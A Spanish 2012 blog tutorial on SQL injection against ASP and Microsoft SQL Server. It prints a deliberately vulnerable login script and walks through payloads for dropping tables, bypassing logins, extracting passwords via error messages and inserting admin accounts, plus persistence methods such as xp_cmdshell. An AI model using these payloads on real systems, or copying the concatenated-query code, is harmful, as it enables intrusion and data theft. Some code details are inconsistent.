viernes, octubre 12, 2012

Inyección SQL avanzada

Bueno este pequeño aporte sera de SQL avanzada orientada al Servidor SQL/Microsoft Internet Information Server/Active Server Pages. Se intentara ver mas de una manera de hacer SQL y no la tipica de ' OR ''=' ademas de tambien intentar evitar que nosotros semaos los afectados.

La idea original de este tutorial salio de nextgenss un usuario ingles que actualmente creo anda retirado y yo intentare seguir con sus explicaciones aunque no se me da extremadamente bien eso de escribir pero si lo de contestara en cualquier momento :P



INTRODUCCION
SQL (Structured Query Language) es un lenguaje de texto utilizado para interactuar con bases de datos relacionales.
Existen varios tipos (normalmente son SQL-92 que es el standard ASCI mas reciente)
La unidad fundamental de ejecución en SQL es la consulta, la cual es una serie de sentencias que básicamente devuelven un unuico resultado. Las sentencias SQL pueden modificar la estucctura de la base de datos (usando DML "Data Manipulation Lenguaje").
Bueno para acabar esta pequeña intro solo me queda por decir que estaremos usando Trnsact-SQL (el dialecto de SQL de los servidores de Microsoft SQL)

¿Que entendemos por inyección SQL?

Por inyección SQL entendemos el acto de insertar una serie de sentencias SQL en una 'consulta' mediante la manipulación de la entrada de datos de una aplicación.
-Una sentencia SQL típica sería algo como esto:
Código:
select id, nombre, contraseña from users


Esta sentencia devolvería las columnas 'id', 'nombre' y 'contraseña' de todas las filas de la tabla 'autores'. Para restringir el resultado obtenido a un autor específico utilizaríamos:

Código: 
select id, nombre, nick from users where nombre = 'mauro'
and nick = 'mrobles'


Algo importante es que las cadenas 'Mauro' y 'Mrobles' aparecen entre comillas dado que son cadenas literales. Supongamos que el 'nombre' y el 'nick' son obtenidos como respuesta a la entrada de datos por parte del usuario, un atacante podria inyectar un codigo SQL en esa conslta y solicitar los siguientes valores:

Código:
Nombre: mau'ro
Nick: mrobles


La cadena de consulta quedaría así:

Código: 
select id, nombre, nick from users where nombre = 'mau'ro' and
nick = 'mrobles';


Cuando se intente ejecutar nos dara probablemente lo siguiente:

Código: 
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'ro'.


Es muy facil saber porque sucede esto, al insertar un único caracter de comilla simple los datos delimitadores escapan (al poner un solo ' no se acaba el codigo correctamente). Entonces se intentara ejecutar 'ro' y se obtiene el error.
Si el atacante introduce una cadena similar a esta:

Código: 
Nombre: jo' ; drop table users--
Apellido:


La tabla de users se borraría XD pero no es muy probable que se pueda aunque no imposible (comprobado xD).
Para evitar esto solo habría que eliminar la posibilidad de poner comillas simples en la consulta, ¿facil no? Pues no, XD existen varios problemas, primero, no todos los datos proporcionados por el usuario estarín en forma de cadena. Si por ejemplo, puedes seleccionar un usuarios por su ID, nuesta consulta podría ser algo como esto:
Código: 
select id, nombre, nick from usuarios where id = 1234


En este caso el atacante puede simplemente anexar una sentencia SQL al final de la entrada numérica. En otros dialectos SQL se utilizan distintos delimitadores; en el motor Jet DBMS de Microsoft, por ejemplo, los datos pueden delimitarse con el carácter #. Por ello el método de escapar las comillas simples no resulta necesariamente la solución definitiva que pensamos en un primer momento.

Ilustraremos todos estos detalles utilizando para ello una página de login de ejemplo desarrollada en ASP, la cual accederá a una base de datos SQL simulando el mecanismo de autentificación de una aplicación ficticia.

Este será el código del formulario de la página, en el cual el cliente deberá introducir el nombre de usuario y la contraseña: (El code es de nextgenss)

Código: 
<HTML>
<HEAD>

<TITLE>Página de Login</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Usuario:</TD><TD><INPUT type=text name=usuario size=100%
width=100></INPUT></TD></TR>
<TR><TD>Contrase&ntilde;a:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Enviar'> <INPUT type=reset value='Borrar'>
</FORM>

</FONT>
</BODY>
</HTML>


Y este será el código para el script 'process_login.asp', el cual maneja el intento de autentificación:
Code:

Código:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>

<STYLE>
      p { font-size=20pt ! important}
      font { font-size=20pt ! important}
      h1 { font-size=64pt ! important}
</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )
{
      if( Request.form("debug") == "true" )
          Response.write( str );
}

function Login( cn )
{
      var username;
      var password;

      username = Request.form("usuario");
      password = Request.form("password");

      var rso = Server.CreateObject("ADODB.Recordset");

      var sql = "select * from users where username = '" + usuario + "'
      and password = '" + password + "'";

      trace( "query: " + sql );

      rso.open( sql, cn );

      if (rso.EOF)
      {
           rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACESO DENEGADO</CENTER>
</H1>
</BODY>
</HTML>
<%

           Response.end return;
      }
      else
      {
           Session("usuario") = "" + rso("usuario");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACESO PERMITIDO
<BR>
<BR>
Bienvenido,
<%         
           Response.write(rso("Usuario"));
           Response.write( "</BODY></HTML>" );
           Response.end
      }
}
function Main()
{
      //Set up connection

      var usuario
      var cn = Server.createobject( "ADODB.Connection" );
      cn.connectiontimeout = 20;
      cn.open( "localserver", "sa", "password" );

      usuario = new String( Request.form("usuario") );

      if( username.length > 0)
      {
           Login( cn );
      }

      cn.close();
}

Main();
%>


He aquí la parte crítica de 'process_login.asp' en la cual se crea la 'cadena de consulta':
Código:
var sql = "select * from users where username = '" + usuario + "'
and password = '" + password + "'";

Si el atacante introduciera lo siguiente: (lo mismo que en el ejemplo de antes)

Código: 
Usuario: ' ; drop table usuarios--
Password:

Se borrará la tabla de usuarios, denegando el acceso a las aplicaciones al los usuarios. La secuencia de carácteres '--' se corresponde, en Transcat-SQL, con el inicio de un 'comentario de una sola línea' y el carácter ';' denota el final de una sentencia y el comienzo de otra. El '--' al final del campo de usuario es necesario para evitar que la consulta termine sin provocar un error.

Tambien el atacante podrá autentificarse como cualquier usuario, si conoce el nombre de alguna persona dada de alta en la aplicación, utilizando la siguiente entrada:

Código: 
Usuario: admin' --

El atacante se estaría autentificando como el primer usuario de la tabla 'usuarios' con la siguiente entrada:

Código:
Usuario: ' or 1 = 1--

Y lo mas divertido es que tambien se podra logear como un usuario inexistente con la siguente consulta:
Código: 
Usuario: ' union select 1, 'USUARIOINVENTADO', 'CUALQUIER CONTRASEÑA', 1--

Esto funciona debido a que la fila 'constante' que el atacante está especificando que será parte del registro recuperado de la base de datos.

Obteniendo información mediante los Mensajes de Error
Esta técnica fuí descubierta por David Litchfield . Esta sección describe el mecanismo subyacente a la técnica del 'mensaje de error', esperando que el lector pueda entenderla y potencialmente crear variaciones propias.

Con el objetivo de manipular los datos de una base de datos el atacante deberá primero determinar la estructura de determinadas tablas y bases de datos. Por ejemplo, la tabla 'usuarios' podría haber sido creada utilizando el siguiente comando:

Código:
create table usuarios{
   id int,
        usuario varchar(255),
   password varchar(255),
   privs int
}
y se habrían introducido los siguientes usuarios:

Código: 
insert into usuarios values (0, 'admin', 'r00tr0x!', 0xffff);
insert into usuarios values (0, 'guest', 'guest', 0x0000);
insert into usuarios values (0, 'chris', 'password', 0x00f);
insert into usuarios values (0, 'fred', 'sesamo', 0x00f);

Imaginemos que nuestro atacante desea crearse una cuenta de usuario. Sin conocer la estructura de la tabla 'usuarios' es bastante improbable que lo consiga. Aún teniendo suerte, el significado del campo 'privs' no está del todo claro. El atacante podría insertar un '1' y obtener una cuenta con escasos privilegios en la aplicación cuando lo que quería era facilitarse el acceso con privilegios administrativos.

Afortunadamente para el atacante si la aplicación devuelve mensajes de error (el comportamiento predeterminado de ASP) podrá determinar la estructura completa de la base de datos y leer cualquier valor que pueda ser obtenido por la aplicación ASP utilizada para conectar con el servidor SQL.

(El siguiente ejemplo utiliza la base de datos y los scripts .asp de ejemplo para mostrar como funciona esta técnica).

Primero, el atacante querrá determinar los nombres de las tablas utilizadas en las consultas y los nombres de los campos. Para hacerlo el atacante utilizará la clausula 'having' de la sentencia 'select':

Código: 
Usuario: ' having 1= 1--

Esto provocará el siguiente error:

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/process_login.asp, line 35

Ahora ya conoce el nombre de la tabla y la primera columna de la consulta. Podrá averiguar el resto de columnas introduciendo cada uno de los campos que vaya descubriendo en una clasula 'group by' como la siguiente:
Código:
Usuario: ' group by usuarios.id having 1 = 1--

Que nos dara el siguiente error

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.usuario'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.

/process_login.asp, line 35

Llegara al campo usuario:

Código:
' group by usuarios.id, usuarios.usuario, usuarios.password, usuarios.privs
having 1=1--

Que no producirra ningun error y es igual que:
Código:
select * from usuarios where usuario = ''

Ahora el atacante conoce que la consulta está utilizando únicamente la tabla 'usuarios' y las columnas 'id, usuario, password, privs', en este orden.

Sería útil si pudiese determinar el tipo de cada una de las columnas. Esto podrá obtenerse utilizando un mensaje de error provocado por una 'conversión de tipo', con algo parecido a esto:

Código:
Usuario: ' union select sum(usuario) from usuarios--

La sentencia anterior se aprovecha de que el servidor SQL intentarí aplicar la clausula 'sum' antes de determinar si el número de campos en las dos filas es equivalente. El intento de calcular la suma de un campo de texto provocará el siguiente mensaje:

Código:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

Que nos indica que el campo 'usuario' es de tipo 'varchar'. Si, por otra parte, intentamos calcular la suma de un tipo numérico obtendríamos un mensaje de error indicando que el número de campos de las dos filas no coincide:

Código: 
Usuario: ' union select sum(id) from usuarios--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.

/process_login.asp, line 35

Podremos utilizar esta técnica para determinar de forma aproximada el tipo de cualquier columna de cualquier tabla de la base de datos:

Esto permitirá al atacante crear una consulta 'insert' correcta, similar a la siguiente:
Código:
usuario: '; insert into usuarios values (666, 'atacante', 'foobar', 0xffff)--

Sin embargo, el potencial de esta técnica no acaba aquí. El atacante podrá aprovecharse de cualquier mensaje de error que revele información sobre el entorno de la base de datos. Puede obtenerse una lista de las cadenas de formato correspondientes a los mensajes de error ejecutando:

Código:
select * from master..sysmessages

Examinando la lista descubriremos mensajes muy interesantes.

Un mensaje especial muy útil revela la conversión de tipo. Si usted intenta convertir una cadena en un entero el contenido completo de la cadena es devuelto en el mensaje de error. En nuestra página de login de ejemplo el siguiente nombre de usuario devolverá la versión del servidor SQL y el sistema operativo en el cual se está ejecutando:
Código: 
Usuario: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.

/process_login.asp, line 35

Esto intentará convertir la constante '@@version' en un entero dado que la primera
columna de la tabla 'usuarios' es un entero.

Esta técnica puede utilizarse para leer cualquier valor en cualquier tabla de la base de datos. Dado que el atacante está interesado en los usuarios y sus contraseñas podrá utilizarla para obtener los nombres de usuarios de la tabla 'usuarios' con algo como:
Código: 
Usuario: ' union select min(usuario),1,1,1 from usuarios where usuario > 'a'--

Esto seleccionará el nombre de usuario inmediatamente superior a 'q' e intentará covertirlo en un entero:
Código: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

En este momento el atacante sabe que existe una cuenta 'admin'. Ahora podrá iterar a través de las filas de la tabla utilizando cada nuevo usario que descubra en la clausula 'where':
Código: 
usuario: ' union select min(usuario),1,1,1 from usuarios where usuario > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Una vez el atacante conozca los nombres de usuario podrá empezar a obtener sus contraseñas:
Código: 
Usuario: ' union select password,1,1,1 from usuarios where usuario = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Una técnica más elegante consiste en concatenar todos los nombres de usuario y contraseñas en una única cadena e intentar entonces convertirla en un entero. Esto se aprovecha de otra característica: las sentencias Transact-SQL pueden introducirse en una misma línea sin por ello alterar su significado. El siguiente script concatenará los valores:

Código:
begin declare @ret varchar(8000)
set @ret=':'
select @ret = @ret+' '+usuario+'/'+password from usuarios where
usuario > @ret
select @ret as ret into foo
end

El atacante utilizará entonces el siguiente 'usuario' (todo en una línea, obviamente):

Código:
Usuario: '; begin declare @ret varchar(8000) set @ret = ':' select
@ret = @ret+' '+usuario+'/'+password from usuarios where usuario > @ret
select @ret as ret into foo end--

Esto creará una tabla 'foo' la cual contendrá una única columna 'ret' y situará nuestra cadena en ella. Normalmente aunque se trate de un usuario con escasos privilegios será capaz de crear una tabla en una base de datos de ejemplo, o en una tabla temporal.

El atacante seleccionará entonces la cadena de la tabla utilizando:

Código:
Usuario: ' union select ret,1,1,1 from foo--

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesamo' to a column of data type int.

/process_login.asp, line 35

Y se las arreglará para borrarla:
Código: 
usuario: '; drop table foo--

Estos ejemplos apenas muestran un ínfima parte de las posibilidades de esta técnica. No hay ni que mencionar que, si el atacante puede obtener información útil de los mensajes de error de la base de datos, su trabajo sera obviamente más sencillo.

Proporcionándose acceso continuado
Ya hemos conseguido acceso, ¿y ahora que? cada vez que queramos entrar tendremos que hacer todo esto? Pues que coñazo yo me retiro XD Tranquilo amigo que hay varios metodos para tener acceso continuado a trávez de la red:

1. Utilizando el procedimiento almacenado xp_cmdshell para ejecutar comandos en el servidor SQL como el usuario SQL.

2. Utilizando el procedimiento almacenado xp_regread para leer claves del registro incluyendo, potencialmente, la SAM (si el servidor SQL está ejecutándose bajo la cuenta local system).

3. Utilizando otros procedimientos almacenados para dominar el servidor.

4. Ejecutando consultas en servidores enlazados.

5. Creando procedimientos almacenados persoalizados para ejecutar código maligno desde el proceso del servidor SQL.

6. Utilizando la sentencia 'bulk insert' para leer cualquier archivo del servidor.

7. Utilizando bcp para crear archivos de texto arbitrario en el servidor.

8. Utilizando los procedimientos almacenados sp_OACreate, sp_OAMethod y sp_OAGetProperty para crear aplicaciones de código OLE (ActiveX) que puedan hacer todo aquello que le está permitido al script ASP.

Estas son las más comunes, aunque existen otras y es muy posible que un intruso las utilice.
Esta es una coleccion de ataques obvios contra un servidor SQL y ahora os detallo una a una toda la lista.

No hay comentarios:

Publicar un comentario